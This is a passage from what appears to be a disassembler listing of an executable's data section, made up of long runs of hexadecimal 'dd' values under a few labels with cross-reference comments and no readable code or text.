		dd 48F07C33h, 0A1909300h, 6097E42h, 0A2D000C2h,	0EDB653D5h
		dd 8760894Bh, 6DCE6798h, 0E06C1388h, 8F130055h,	0B8A0A37Bh
		dd 7E72ED00h, 53D26520h, 0C1EF3D07h, 0A78685B8h, 1864D667h
		dd 0D97E800h, 1C28DB3Ch, 0D01060BEh, 0FF30DA6Ah, 0EB7F6177h
		dd 0E33E80h, 0C879CDBFh, 25C18624h, 350F597Ah, 80A82D10h
		dd 0CBD9D2E1h, 7BA400D7h, 3065B481h, 4C066E91h,	8A829DE7h
		dd 72903B10h, 0E36399Ch, 5521A593h, 0F073A8D4h,	0E90099EAh
		dd 4426B3FEh, 3AC6A2D3h, 7FE27Ah, 0C5337E7Bh, 5915BEDDh
		dd 685EA700h, 9FBFD134h, 2AA902F0h, 262496AEh, 15527040h
		dd 0BAF95D07h, 0E87292C2h, 0D815E0CFh, 6A0D077Fh, 0FE1D380Ch
		dd 0D95BC700h, 8B0F9982h, 0A0745185h, 0FFA51F3Ch, 16F1011Eh
		dd 60F359B7h, 0ED702114h, 9C2C401h, 890F7809h, 9D100088h
		dd 28CCE8h, 76DE96CAh, 9241AD4Ah, 9E635800h, 91E0827Dh
		dd 0FA7F9869h, 11C80027h, 0C49C484Eh, 930E0C87h, 9F76CD82h
		dd 44007D12h, 61E2672Eh, 36B60096h, 0AEB01518h,	9F061DC2h
		dd 9D40DC0Fh, 0C3343908h, 0D9ABD200h, 0AF3C066h, 5A12C8FFh
		dd 0CB9A8700h, 28C1963Dh, 508548F0h, 5C6A0600h,	0A3F47E43h
		dd 0C7FF0700h, 9B9D205Eh, 19C3FF1h, 64783E80h, 16AA77A4h
		dd 0F845763Bh, 6FA9B000h, 0BB0C9586h, 0FB96001Eh, 2C3F4E61h
		dd 7E008A9Eh, 8592D754h, 386FBD47h, 51B82869h, 0DDEB0075h
		dd 0ACC51A10h, 1100A88Bh, 0BB594A4h, 95717Ah, 9047DE0Fh
		dd 93B7B465h, 0B2DDE830h, 72691A7h, 2A4601C9h, 0B24013CAh
		dd 3F7CD08Fh, 8103D452h, 0FCB9FF2Eh, 3DC2C802h,	79F601DAh
		dd 0B31D3B03h, 5CEBC40Dh, 0D0927BF4h, 319EC200h, 0FCA7CB88h
		dd 0BDE6FAh, 0CDDE68Bh,	36A030C9h, 5289FF00h, 3B886BF2h
		dd 94AA3DABh, 0E8DF5700h, 290312B3h, 0ACA9C00h,	3DF86154h
		dd 0A60E02C1h, 0C45FCCC2h, 18FD4440h, 23974326h, 3C867830h
		dd 8188018Bh, 5FED90E2h, 0CC8E47BDh, 5703E798h,	0A178C038h
		dd 3C3ECE3h, 449A0E8h, 40236079h, 8131A63Fh, 10FFC9C0h
		dd 74FCA043h, 0D942C38h, 7FF200D3h, 0B19C89EFh,	8822B205h
		dd 20007804h, 44469B92h, 0BC180C3Bh, 0DE90AB14h
dword_544450	dd 7DA4B71Eh, 4E6C6640h, 6AEF330h, 9C430886h, 0EF004002h
					; DATA XREF: ___:off_43D3D4o
		dd 0ED741B99h, 62E3BD62h, 42E5B968h, 4AB67080h,	5400A988h
		dd 3F4DA671h, 9FED76h, 315A2A1Ah, 0A08A53C7h, 0FCE19900h
		dd 6AD90257h, 28780083h, 501AEB45h, 0C1000BBAh,	0C2AA58CDh
		dd 98A477C0h, 0D38F0057h, 0B8CBD6B1h, 67000D3Dh, 9FB6B2FCh
		dd 7106EADh, 0D50ED788h, 3033F797h, 0CC91C6A9h,	7B00B3E6h
		dd 274D9942h, 0A1B0AFh,	858FB838h, 0C06DEF18h, 0BFAABE00h
		dd 0CA37804Eh, 0F50FE8Ah, 188C0BB4h, 0A1A0724Eh, 5121F683h
		dd 0C0FC604h, 25809B5Eh, 688BDh, 1B73C5FBh, 0C0656040h
		dd 7B198C00h, 80FEB1F8h, 9D360517h, 9057B664h, 9C473FC0h
		dd 0C6E789Fh, 0A63BA1A8h, 21C03309h, 7429467h, 60220076h
		dd 0ABCCFD9Fh, 0F100B9B4h, 7540997Fh, 35B89F0h,	0C276800Ah
		dd 18148251h, 5CCD63Ch,	1EEC85CEh, 0AC84D420h, 0ED8E017Ah
		dd 0E5231BB9h, 5B0898C1h, 0EB4A521h, 0FE35AF7Ah, 8D227540h
		dd 0B1338061h, 0FC4D60ADh, 3004A01Ah, 7A7067E6h, 8CC9ED88h
		dd 1AB5D44h, 0A4357AAEh, 0E15754B9h, 78DDD4FAh,	28361F1Dh
		dd 0E10A24C1h, 48E25D6Ah, 55A228h, 0D51BD3D2h, 4CC5F063h
		dd 26C3F0DDh, 1D3B5D99h, 448A1F29h, 819AB4A9h, 9862BC68h
		dd 0F8212608h, 5E4EA91h, 0FADAEF78h, 87C80345h,	808E8DA9h
		dd 5B24BC00h, 0FB67B648h, 3E77003Fh, 529D80C4h,	0EE1D45DDh
		dd 0FC80CDF3h, 0EB655E3Dh, 4D780035h, 4608488Fh, 0C300438Dh
		dd 2A6233B1h, 8B18C9h, 0F7D6012h, 0FCEEC82Dh, 0E6AD7403h
		dd 80B81302h, 8D9A83h, 56AC5CEAh, 166F3093h, 21CB6500h
		dd 7920EF94h, 382CB02Eh, 4A8066A7h, 6E2C5C71h, 233AA330h
		dd 0E89F00E6h, 390B086h, 0FA20009Bh, 931D9621h,	42F882DCh
		dd 71892400h, 6EA14A55h, 2C357877h, 3755A78h, 95D6926Dh
		dd 0E0043046h, 0C30CC5CDh, 0A8877D10h, 0A0F49B90h, 1F0E1503h
		dd 6562D7Bh, 5DC0CDA0h,	54EA28EBh, 84B48840h, 0AC215542h
		dd 9050DF08h, 5B308498h, 0A23FA15Eh, 16EC2253h,	488657Fh
		dd 2D8C8A5Fh, 7F84F029h, 0E9AF41D3h, 5CC4175Eh,	684EC448h
		dd 0DC9161h, 0AB50B14Ch, 0E62C381h, 3454B011h, 0C064E300h
		dd 0CD03063Bh, 0FF726C93h, 0B20DB8C2h, 3E1F2F5h, 706B208Ch
		dd 428851DEh, 7300B72Bh, 33BEC59Ch, 14F8FC6h, 79976EAFh
		dd 0EC81461Ah, 92E81CE4h, 0C7B11F00h, 0D75748BEh, 67EA00C9h
		dd 0FCC15E7Eh, 53006420h, 0DD43736Ch, 0B67234h,	5FE6EBD5h
		dd 40A52A1Dh, 0EC563Ch,	43FFFD7Fh, 90D618h, 0B6A7EF7h
		dd 0B1F60A55h, 2724F300h, 416BD866h, 98680516h,	95443Ah
		dd 89655758h, 54008DF3h, 62CF5066h, 75B0761h, 24A2F6C7h
		dd 9253B318h, 23E6A380h, 49DE7D00h, 1A8EE96Dh, 0E46C00E0h
		dd 170E4FF8h, 0F500A502h, 4C0BA812h, 797214C6h,	4AA200E3h
		dd 2FAD268h, 4BE07062h,	7AFCE000h, 742A3ADAh, 692804A7h
		dd 901C6F3Fh, 0FC92087Ch, 251BAF00h, 0B383CBF5h, 62810190h
		dd 50234B0Dh, 0B094E421h, 662A7F02h, 0C1DD92DFh, 66202E23h
		dd 3B62002Dh, 0A61404A5h, 0F8007278h, 3E5F9624h, 40FC984h
		dd 50E085E8h, 0C0849046h, 49031382h, 18FB8CB1h,	0E5C0B456h
		dd 510FEAh, 0DB47C408h,	0E9B22DE2h, 35744272h, 1200D2FAh
		dd 48A89DF2h, 0EA9DBF7h, 0A09C4F77h, 880B90E0h,	0D0019BCAh
		dd 44788459h, 0B2EC09BAh, 0C9290001h, 4FAC48E9h, 7200E747h
		dd 0F8217963h, 1F5607F0h, 40DABBC7h, 0C13285Fh,	500D616h
		dd 0FF0E98CCh, 3FD65A7h, 0B3D48BC5h, 0E39039C4h, 720033F4h
		dd 0A143C73Fh, 604886DDh, 85A0E00Fh, 0ED784F24h, 238CEF00h
		dd 467C8021h, 0E05700B0h, 1067B882h, 367253F7h,	66066800h
		dd 9D291548h, 7944004Eh, 87F6ECCDh, 0A2F62FDBh,	5074C048h
		dd 6E0C5ABFh, 10CA7FE5h, 12777F21h, 7F6B06Ah, 20FAE2B3h
		dd 0F05C4A8Bh, 2EF11100h, 7CADAB53h, 0D1B41EC2h, 646B40CCh
		dd 61A7F07Bh, 193A7701h, 9A9E5C79h, 0F8F4FB30h,	887F504Eh
		dd 7446487Dh, 1002063Bh, 2B799A56h, 0EAB22440h,	53ADE00Ah
		dd 9408F0EEh, 83548861h, 8E5B4B60h, 0ACE000FDh,	23CEB57Dh
		dd 9305A1D2h, 0CA688B59h, 6C73D001h, 0D8C3530Dh, 30D46906h
		dd 9E282174h, 2D30416Eh, 36F611EDh, 0E027DCCh, 75B87E48h
		dd 0FD2EE240h, 1000B660h, 11A4B5FAh, 3072028Dh,	0AFC8A504h
		dd 8A0786A7h, 43509B44h, 0EC005AB5h, 0B6C14C53h, 0BF470329h
		dd 0EDEBB27Bh, 921B60A0h, 15306D00h, 67E27422h,	0BD5B0CD6h
		dd 0E4E8A093h, 80DF683Eh, 47F496BBh, 904405C5h,	4F353F67h
		dd 9F3D4180h, 0B4587DB7h, 0D8261001h, 9D717FA3h, 0A275DCh
		dd 0D097FF8Ch, 6451D23Eh, 74B48400h, 68D97B03h,	6E4C003Bh
		dd 0C08A4AC4h, 8F70E092h, 58D1A507h, 0FC271333h, 3060A160h
		dd 49C700BDh, 3BE18973h, 8E007C1Dh, 1C861B58h, 5D46DEAh
		dd 7A07F6A6h, 0F7A80D6h, 9402195Fh, 0C8AA6FECh,	602E6026h
		dd 7F3F003Bh, 0DBA69890h, 75F663ABh, 22441705h,	0C0010EE6h
		dd 20AD61EFh, 0EE7B43DCh, 69C800A9h, 2F74B208h,	4A07BFA7h
		dd 898FC707h, 65D50670h, 0D82007E5h, 8BDB2605h,	0FA2D8400h
		dd 0AD0039F4h, 2F70AA99h, 24D47754h, 8CD4Ah, 0F38D4259h
		dd 0F2003D3Ah, 28E8A8ABh, 0F61E3EEAh, 17A70073h, 600DDDE4h
		dd 0F500C58Bh, 52DCC6D6h, 1E5D4758h, 0C06A0224h, 0A67EE3EBh
		dd 53DB40Fh, 0F8578087h, 6D97C215h, 0B20378E8h,	6AE40CCCh
		dd 0A5D0FA5Fh, 6CC4690Dh, 0CFF01136h, 304335CDh, 0E2280064h
		dd 8CBD41FCh, 24A58500h, 99CB037Dh, 94DD4C7Bh, 2380623Ch
		dd 0B24812B7h, 7800C3DAh, 403913CBh, 2554203h, 4EE86758h
		dd 0A843290Ah, 26F1EED8h, 0A1007690h, 9B633DE7h, 3D4E1E7Eh
		dd 3980E05Bh, 94D9DC6Ah, 0BA3C4D19h, 0AB0D0E8Ah, 0D841005Dh
		dd 0C4D5C6h, 115EE281h,	380A5F76h, 0FD348303h, 9DC517h
		dd 0FE8DF0E8h, 37B43025h, 0CA282F00h, 0B9B586A1h, 0AD060063h
		dd 0AC0AA3B6h, 0EC30EA79h, 70F4F0BFh, 60817DF2h, 94AAE0B1h
		dd 0CF01451Fh, 40EC64Bh, 0BF14C8Fh, 0D041D9E1h,	48FC1858h
		dd 0DA28071Bh, 0D001037Ch, 0CD2B19DBh, 29E7AB1Ch, 1869B000h
		dd 0F5AAE086h, 18A2034h, 7A201CA3h, 8461DF83h, 49F35648h
		dd 0F55F7880h, 0D6E70A16h, 5CE5F2h, 0AC232D02h,	2B0CF9A8h
		dd 0A8C71739h, 1A7B05h,	940B6D2Ch, 0D95A9AF8h, 0EF9F300h
		dd 0DB2F1C78h, 0AF7F0CC2h, 0C8B8DE63h, 5FCED806h, 2E981F66h
		dd 1E5C50FBh, 8EB74BEAh, 9AFEE480h, 0C026530Ah,	509FD73h
		dd 265C203Ch, 0B0BCC331h, 90086002h, 4425818Fh,	28EB3D00h
		dd 0E2E3BCEh, 0E9EC0730h, 93FA11B6h, 0B9FF36D3h, 26673300h
		dd 6300AA37h, 6FB060E6h, 0A2D09Dh, 4756191Fh, 2F401C90h
		dd 50009C7Eh, 5EB64C30h, 3E43BEh, 91B814EBh, 9E479B74h
		dd 0F4B0A8A0h, 7F291200h, 90F360EAh, 0C7700919h, 0F58961h
		dd 6BD391FFh, 7825000Ah, 67A48A6Ch, 8100BCA0h, 50EDC8DCh
		dd 3B1BC28Bh, 37BD9723h, 300F648h, 3B249DCFh, 92FA711Ah
		dd 0AB6F4D1Dh, 21414400h, 148DD41Fh, 840FC6B3h,	1D65D61Eh
		dd 25E9476Bh, 0DC7FC069h, 0D4A0DE32h, 0A1749C31h, 9B68D000h
		dd 0E845D642h, 28E70433h, 87EBF8C4h, 0CEEC1F34h, 9700A830h
		dd 6A2686A9h, 1FAB37A7h, 80F96676h, 3FB2AF1Eh, 2AFC3504h
		dd 11D10D07h, 9E5075D6h
		dd 0A6B6AAh, 49286EFCh,	0B4E8E9ABh, 7A013C92h, 84D2BE25h
		dd 2C24872Ch, 1F7E0DDh,	26DD1A2h, 0F969BBA9h, 9AD870BEh
		dd 5CEBAF0Ch, 1B441A6h,	0D011F241h, 2092F58Ch, 0F800DE9Ch
		dd 0F6DAEA66h, 0A049FE58h, 2856098h, 0F35238B2h, 6C40FD12h
		dd 9C009040h, 0B4E50401h, 0D3B79A8h, 9F6C55B6h,	0F62A4060h
		dd 0E0EB33Dh, 0D39D0F0Dh, 0A82E0C40h, 85F9AFh, 90A67FB7h
		dd 0A07E586Bh, 804A1B6Fh, 34D9BCC8h, 7CF07F7h, 22998B27h
		dd 0E481B3CCh, 323121E3h, 756438C8h, 1D182507h,	0A393400Dh
		dd 0C000FDD8h, 0D550E8F2h, 54421CB1h, 748D0008h, 9E87E593h
		dd 4DE4DD01h, 0F8404BF5h, 1A309Ch, 5B433C9Bh, 3958AA74h
		dd 8533127Eh, 0F288B000h, 4C877A57h, 0D92E90D2h, 0AE3000C0h
		dd 565417DEh, 823C0B3Ah, 0D74BF7C4h, 0D5E0E067h, 66880069h
		dd 56B7E4A9h, 1001D20h,	0C887DBA0h, 267AD8BFh, 8A4848BEh
		dd 99CDFFh, 0E9739504h,	0A0001108h, 3DBD6523h, 0E7E5BEh
		dd 0E87B5933h, 0D3A4500Bh, 0D000C371h, 5623AC69h, 3100481h
		dd 403431A5h, 100080DFh, 0AF87D5EDh, 0CCA63Eh, 20AAD7C9h
		dd 31C8AC38h, 92A35B3Eh, 0C081CB7h, 0CBF962EEh,	7DE51A00h
		dd 0C78E0038h, 5AACD467h, 6AE0ED65h, 1B3A6004h,	48C462FBh
		dd 63FF7CC0h, 0FD2D0044h, 0DE787235h, 0C0B8A34Ah, 245B7B00h
		dd 62838B1Ah, 55980758h, 904E4237h, 617F1E07h, 3465EB00h
		dd 225E86CEh, 0AB6C05ECh, 1C700E1Ch, 873180A4h,	99A359CCh
		dd 7C8F107h, 78405A47h,	1E35E34Bh, 4094BE9Eh, 44CC9A14h
		dd 197E4C0Ch, 6F001073h, 50CACD0Dh, 0F1CFED7h, 55248770h
		dd 90E1A3C0h, 0C6003FE3h, 0A407FD97h, 0E6D365E4h, 95E8020Ch
		dd 9D06E7EEh, 5A000864h, 0A4085734h, 799CD161h,	45A2003Ch
		dd 540F17ECh, 825CF0E7h, 3312010Ah, 0EE238CD3h,	7DD851C0h
		dd 7D5803A6h, 0E9F5A41Fh, 263595A8h, 4BD0ED00h,	98D89081h
		dd 6C1E3D1Dh, 0AD9C2B00h, 46B44CFEh, 9E93100h, 9B6B2449h
		dd 639048h, 0BE806FA2h,	96863325h, 7FA93F00h, 76850824h
		dd 34E407EEh, 0F0ED0DE7h, 44BADBF5h, 0F116F200h, 0C327D1FBh
		dd 0A87600E8h, 39B40BFEh, 0F525F8CBh, 0E3EC0397h, 2AB3A74Ah
		dd 7602C010h, 0C4053908h, 0BB193201h, 0A76F8495h, 0D4380590h
		dd 7AAD08Ch, 915C44BBh,	0BC5B4019h, 0D63D2751h,	24E83CFAh
		dd 490030DBh, 0C693D852h, 0A10F0E1Fh, 224B31E3h, 1C55487h
		dd 20DA9202h, 0E0169C4Eh, 0CB1C359Bh, 896A400h,	978C24h
		dd 0D4C023BEh, 2218786Dh, 516EB300h, 8715FF63h,	97642843h
		dd 8B5A5C8Ch, 988CF500h, 0EFE645CFh, 0F0D968C7h, 0A61B1203h
		dd 2C3D0010h, 67ED6DA0h, 0E97DDE80h
		db 0, 4Ch
word_544F42	dw 1E4Fh		; DATA XREF: ___:off_435E10o
		dd 6EE14225h, 687D0397h, 67329DFBh, 77C662A7h, 0CDD5ACC0h
		dd 806BF139h, 0A1D2138Dh, 9765997h, 804E20C9h, 80274085h
		dd 4F3A1848h, 2D9AB300h, 360E450h, 33E30040h, 30EF2BF0h
		dd 612E8D81h, 6900C2CBh, 0C3CCE02h, 144F02F9h, 3ECD5667h
		dd 0A18E9840h, 0B31E1239h, 38B7F468h, 1003C911h, 5A92480Eh
		dd 0AA9D1600h, 2AB85277h, 7CE607F7h, 102F02E8h,	3447BB69h
		dd 0E10FA900h, 454AF838h, 0B3960B79h, 0C410AC2h, 106473AAh
		dd 44020E51h, 80FFE2Ch,	0BA22D470h, 0EB110091h,	22FF1AEh
		dd 496C06Ch, 8DF7BD03h,	0DA3C9194h, 5C318440h, 131B0032h
		dd 8C410483h, 103B36DDh, 4C010F49h, 0BC3BC7C6h,	0FD86039h
		dd 183D0047h, 52F17612h, 0A0C31660h, 0D0BCDDF8h, 46E745h
		dd 1B795B95h, 2C489F04h, 6000BAE4h, 0AB9E37FCh,	0E0FB91h
		dd 0DFFC16Dh, 0BCD6F4B1h, 850025EEh, 0B872D06Eh, 3BC990h
		dd 3803C634h, 59619C63h, 0F58B6705h, 9CD7E758h,	769735F0h
		dd 3A0D9046h, 20806794h, 709ED3D4h, 0B300A5DCh,	21AFE07Fh
		dd 17E41E1h, 0C75EEA90h, 0C8E73681h, 0C539D50Fh, 0A5CD0052h
		dd 0F6D804F4h, 18B80053h, 26FE23F8h, 0EC003E8Ah, 0EEAAB21Ch
		dd 0E07EA1h, 7262B85Ch,	0F1EA07B6h, 595ADB61h, 884017D8h
		dd 3555B0h, 0BF5FBDFFh,	90F0F33Ch, 1166C00h, 0A952CFA4h
		dd 26C01C77h, 58638064h, 857859D6h, 5F8D3800h, 1CBA0934h
		dd 0CB5702E7h, 3951F83Fh, 4AA04B01h, 0DC0B6468h, 480B2FEh
		dd 703BD471h, 0B89B40h,	0C741FA9Ch, 990B08F2h, 0DC576100h
		dd 0B36C1229h, 0BB8900FDh, 9F8CC283h, 9C007244h, 7985480Fh
		dd 3B5A104h, 0E3EBF468h, 90D8BF1Ah, 0A780AFA0h,	0E83D5DF5h
		dd 0AA0FA63Fh, 7EC0631Fh, 87182D37h, 1DC79A1Ch,	0B2002264h
		dd 1E2180FDh, 0A2FE0044h, 0D0ADAF30h, 65009160h, 2771DBC3h
		dd 890A4Eh, 94F3AAC5h, 0AB1625F2h, 0E3DE23Bh, 0ACDD7BFDh
		dd 3272088h, 0A4D6369Bh, 61802E16h, 0FB50662Dh,	2B0F1CD8h
		dd 0A345558Ch, 0A8DCECADh, 0E41A5C87h, 0C2FD0F1Dh, 600B47Ah
		dd 1ECD7E8Fh, 9A1F4718h, 0D51C58h, 30FA6C7h, 108C4E0Ah
		dd 800C4B2Dh, 5CECC8C8h, 96DFE5Dh, 0E09D5222h, 90F7A080h
		dd 0BA1F641Ah, 3043EA92h, 0C82768D2h, 9ACE1B6h,	2691A0B0h
		dd 0B5971303h, 9AC984A8h, 74DF7800h, 0DD7C63FDh, 28E50083h
		dd 4CFC3F22h, 0D45CD584h, 0CC5A0076h, 0DD11F60Ch, 372500B7h
		dd 0FBF9D739h, 0BA00142Bh, 6C313FDEh, 7C9B01h, 0EC136AB3h
		dd 24217E96h, 0AA092C30h, 584DBE63h, 93316C5Ch,	0EC2D2694h
		dd 0FF3F3CDEh, 0D04B008Ch, 9F977D5Dh, 0E77500E9h, 7C20F66Fh
		dd 0B0008E68h, 55B8A42Bh, 3E9CCD9h, 17BEC744h, 0C7BC9AF7h
		dd 0C01190Dh, 0FD2091B3h, 0D66880F0h, 651CA3EBh, 5915489Fh
		dd 0AC332A00h, 0DB98F46Ah, 4100EE72h, 421B8F62h, 184764h
		dd 75E7EDFAh, 19246603h, 159D000h, 0DCA8E41Fh, 0EA760094h
		dd 0CA7795CBh, 1A60E756h, 0E1EFDA2Ch, 0E5BD07D1h, 601B0419h
		dd 2AEC6D1Eh, 0C1869E04h, 9C805EF6h, 0C48BE5h, 0D1A77B88h
		dd 0B86A4CC3h, 77F7C10Fh, 0EA09E31Dh, 3CC5A556h, 0DA3A3400h
		dd 451AB8h, 108B3304h, 76D9697Fh, 0CC2F1B1Eh, 0D7B78300h
		dd 16F69BADh, 2AB41D1h,	0A2ED46B2h, 0DFF74C40h,	0FB767179h
		dd 81989200h, 3CCB02E4h, 7D34003Ah, 3D6E5231h, 0F200CAB5h
		dd 0CD91D06Ch, 3A2BA4F7h, 7F80EF66h, 84B9656h, 2C9CC604h
		dd 0C0A83500h, 7EFA216Dh, 0CCF6D2h, 1C83F905h, 546FBC52h
		dd 0DBAC8200h, 0A7362A7Fh, 60FEAFh, 9A0780BAh, 0FFDE53CBh
		dd 890074B8h, 768F95B6h, 962A77h, 0C9A46DBCh, 183A2B02h
		dd 803B589Ch, 3541811Dh, 0DBA2A6h, 0F8C8A9FDh
dword_545350	dd 0D11A4969h, 30B95C2Ch, 0CE74798Eh, 0BB7A202Ch, 9FF9FAh
					; DATA XREF: ___:off_43D394o
		dd 6EDA75EDh, 0B39BDD27h, 5800CF78h, 95C26CEFh,	0D12A76h
		dd 0D97C05C9h, 0A6321EC0h, 86DBBE0Fh, 0DF930007h, 0B085D4h
		dd 2E615ECAh, 174E6CD5h, 42D3411Ch, 0C0638840h,	0A08F162Bh
		dd 0F1B8590h, 6D70BD51h, 6F5E9BA7h, 8CD38860h, 0BF004CE2h
		dd 4BFD11E4h, 0E5D9ECh,	0F06A1C17h, 4936F12Ah, 4DC37B00h
		dd 0F9918D8Fh, 1C661026h, 4C060B73h, 74CC8BDh, 85D80980h
		dd 0DC8256F3h, 98AA2102h, 0BBC600D0h, 0ABE7F49Dh, 73F1A81Ch
		dd 0CA931F0Ah, 0C8162D00h, 11AB1C0h, 0FDB0ED12h, 0D0ECBA88h
		dd 53EA665Fh, 0AB503572h, 0F100809Bh, 88D60943h, 0A070DF26h
		dd 0F53FAF0h, 8190BF47h, 0D368CA22h, 2DBEFCC0h,	6CAED400h
		dd 0B07E0F13h, 712E0B6Bh, 0A98030ACh, 0A579E670h, 258084BEh
		dd 0F5C7AFCDh, 27BB00F8h, 23FBDF4Ch, 0A001F32h,	0B0FE78ABh
		dd 4C656712h, 0AA064E5Ch, 0D8A01492h, 0B5341000h, 0B03AFB54h
		dd 0E87A7060h, 0E8F16095h, 0CF30F690h, 0AA20B507h, 78C4FD24h
		dd 0F7C004C0h, 0EDCD0335h, 0B0CFE76Ch, 9E4406C8h, 0E0865900h
		dd 79E238D3h, 787125FFh, 87377002h, 80C52727h, 7A001087h
		dd 5182505h, 10DBC1CFh,	0F410C09Ah, 0A70073ECh,	0FFBD421h
		dd 140433A3h, 0AC36037Dh, 30BE7A18h, 6F0E1890h,	4021B1A8h
		dd 3F4C8F5Dh, 0C04660DEh, 73A6E6ECh, 0A297C318h, 3E9D50h
		dd 0BE18B5Ch, 3D67246h,	42A1AA00h, 0E3DA515Ah, 0E08509B7h
		dd 0EC609224h, 0FE01EA96h, 166E5EA3h, 23207EDDh, 6180006Fh
		dd 1DCCC702h, 78002EF7h, 2840EC95h, 0F8E59Fh, 0BB719CC6h
		dd 0DCDD494h, 0AFF73601h, 0B397D154h, 0E20E0FE4h, 0B68F00A0h
		dd 738E20D6h, 85F22112h, 0BF95F501h, 0FF631B6Ah, 998F2C38h
		dd 457A0050h, 0F52F560Ah, 27F00096h, 90356C14h,	0D02716A5h
		dd 0DCF670h, 4E0ECF11h,	88A052A4h, 60177AEh, 0E71B5A39h
		dd 0E420EC0Bh, 0E3F823h, 428495CDh, 0C86F6803h,	4FF08300h
		dd 7D6616B5h, 6A150046h, 71038D9Ah, 18C3F2CEh, 8077C5FDh
		dd 0B97EA4h, 0CD52B78Eh, 265D7C8Ch, 0F99BF400h,	81157286h
		dd 84600FADh, 0F50077B1h, 1DE143C7h, 1BA04714h,	9D380AB4h
		dd 872DBF7Ch, 0D8909B28h, 8DE43h, 20FA87ECh, 0EB5E77BCh
		dd 0A0BACE00h, 0CDC001ADh, 97351DF0h, 62D77Ch, 77B3101Eh
		dd 345889D0h, 7BC3001Ch, 4C218FA3h, 3C49E20h, 0BB5EDC1Dh
		dd 985D69C0h, 2754E226h, 9F3E2A00h, 2F53D214h, 5C803F21h
		dd 0F136967Ch, 4920D700h, 42ADB480h, 0F2A20102h, 239917A3h
		dd 8ACED08Dh, 88B83200h, 0CB723C2Ah, 88B89EF9h,	410005FCh
		dd 4DC15F08h, 37C00D7h,	0BCA32DBh, 9E00FF21h, 0B24C1AF9h
		dd 0F0E88h, 64415249h, 9F853777h, 0C8A63400h, 0B3DDEBFh
		dd 0BCE5E01h, 0E8804EB4h, 9114F03Fh, 8CDC6601h,	0C969C738h
		dd 5F74C080h, 5534FC2Eh, 87286A3Ch, 30E267E5h, 73F42FF3h
		dd 54C00D8h, 1D84FB5Ah,	273A106h, 0FE621C76h, 783B1320h
		dd 6B9B00C0h, 0BE62C017h, 9F0088D8h, 0F1F4318Bh, 9C4F91h
		dd 0B71B28BBh, 726EC9D4h, 0BD139F01h, 8446B573h, 0BE2060h
		dd 0D2614C3Ch, 24ABAC8Eh, 80C03A3Ah, 1F96E637h,	1691E85h
		dd 360E7A1h, 0F038E23Bh, 0A23C8F2Ah, 0B3430093h, 830D46D4h
		dd 0F3570024h, 19EFDEA6h, 0F62A94F2h, 64258CF4h, 39B8404Ch
		dd 0C6A2004Bh, 0F9B5F8E6h, 9900A4D6h, 0EA547F2Dh, 3C12FE1Eh
		dd 6200B4E9h, 71BB40E5h, 0C8B9104Ch, 6A0F5E00h,	0B83987D7h
		dd 9E854C40h, 0A29D4C00h, 305F7FCBh, 3AE11E16h,	0E72294C7h
		dd 0B6B4C9ACh, 8634012Eh, 50DD5CC4h, 79F9D4B8h,	0F294F50Fh
		dd 92C8C049h, 1A517FAh,	3B96274Bh, 0D0AEB664h, 9D4CB161h
		dd 0C0B02CA2h, 978AB701h, 0DC70C9A7h, 0BEAF009Ah, 69F91656h
		dd 8E741548h, 0C8666700h, 0BA9725CBh, 29580076h, 4A09A945h
		dd 4B58F91Ah, 0FBE31C88h, 73C69E83h, 0E17DA17Ch, 18EE430h
		dd 0ACBD0311h, 0F0B9D90Ah, 0E600295Ch, 0E33D7F3Ch, 463997h
		dd 2127BA93h, 7C59765Ah, 72627300h, 422CB3F8h, 49C207C8h
		dd 2CCE79BFh, 0ED26CC20h, 800B44Ah, 0B56B4ABh, 17BA00ADh
		dd 921EB007h, 0A91221C8h, 0DC8197CAh, 83FCF820h, 0C44E1E14h
		dd 9B0FC0BFh, 5FC2B1D5h, 0ABAF6200h, 7042A226h,	0EB500FAh
		dd 0CFF9BE24h, 100870Bh, 1559D098h, 12B9F46h, 0F46D45BAh
		dd 80F1D59Ch, 0FC539360h, 0B8E9A419h, 1297007Bh, 39AF11C7h
		dd 0F4099567h, 0C019D754h, 0A0FC9CE0h, 9A96F1Ch, 0C96D4739h
		dd 0E1D70905h, 0F0B1E1C4h, 833D0B29h, 4F231640h, 0E347F700h
		dd 3BC134h, 11A69369h, 4E8EDA17h, 0EE80EF28h, 0AF2A1C00h
		dd 0E8165A66h, 7EBA0421h, 0BA99B217h, 9B54FD00h, 0FCF1CEh
		dd 0F2DDB809h, 4DA506F8h, 88592D1Fh, 0D6CE1AC0h, 0BB6EF5h
		dd 4CA1BA78h, 0E102A8FFh, 93D0540Fh, 177FA772h,	8C53DA90h
		dd 75560B8Dh, 6880183Dh, 80235DCDh, 638FAB00h, 0D5B530C3h
		dd 89E000A6h, 5147B331h, 580096DEh, 7B8C34E9h, 8F9A1Ch
		dd 67B7028Eh, 5DFC3A2Fh, 20FB9507h, 0A9C0B95Fh,	1D1990A4h
		dd 40AF8279h, 0BF89210Dh, 947C9B8Fh, 0F0B7D1EDh, 4D15954Ch
		dd 7B0D2FBh, 4ADB6DF6h,	8F3A5930h, 0FA09CD55h, 0DB3F3021h
		dd 0E392D300h, 35521274h, 0AF3800D9h, 908F1118h, 6450399Bh
		dd 925C73DCh, 0E41A2A5Eh, 0E14D3D28h, 120C3EFAh, 84E9C9Ah
		dd 5B21C708h, 0B50D5045h, 0FC7E70D3h, 79F03131h, 45D07FD6h
		dd 119660CEh, 3BD783B5h, 0AF4A1C03h, 305A14F1h,	5721A808h
		dd 5603D44Ch, 4D26351Bh, 0D7F0059Dh, 9B28848h, 7810F484h
		dd 450FE8DCh, 0A07C61B0h, 649D52D8h, 3080F60Eh,	7B88438Ch
		dd 0DA4105DFh, 30FC18A6h, 0FFDE1E18h, 8155E13Eh, 0EF5CC90h
		dd 432019AEh, 1722EE66h, 5413CFh, 9F9A306Ch, 5C004960h
		dd 0E6526E45h, 0EF4D12h, 7644EA20h, 92B77418h, 0BD70D807h
		dd 51E035DAh, 0BAD409h,	58B92239h, 6E41540Dh, 7A074B00h
		dd 0A9BD0571h, 0D4673AB8h, 0F3000338h, 5D9D2462h, 4190786h
		dd 0BE086E52h, 7B902180h, 8C843324h, 0D10A1D07h, 0F8A01730h
		dd 3A86E94Bh, 0A5003556h, 0FFF610D0h, 1300A9D3h, 7B687DB7h
		dd 48440Eh, 6E4CEDE6h, 78339EEAh, 10577305h, 55C0EF2Dh
		dd 1AA13ACh, 0FFCDA9D2h, 80E51283h, 17982349h, 3AC46A82h
		dd 0C3B3ADEEh, 2177FC08h, 0D4178F00h, 7CA10F47h, 7207B9Ah
		dd 66091C8Bh, 0DC6723EBh, 331A866h, 0E1797968h,	8B201180h
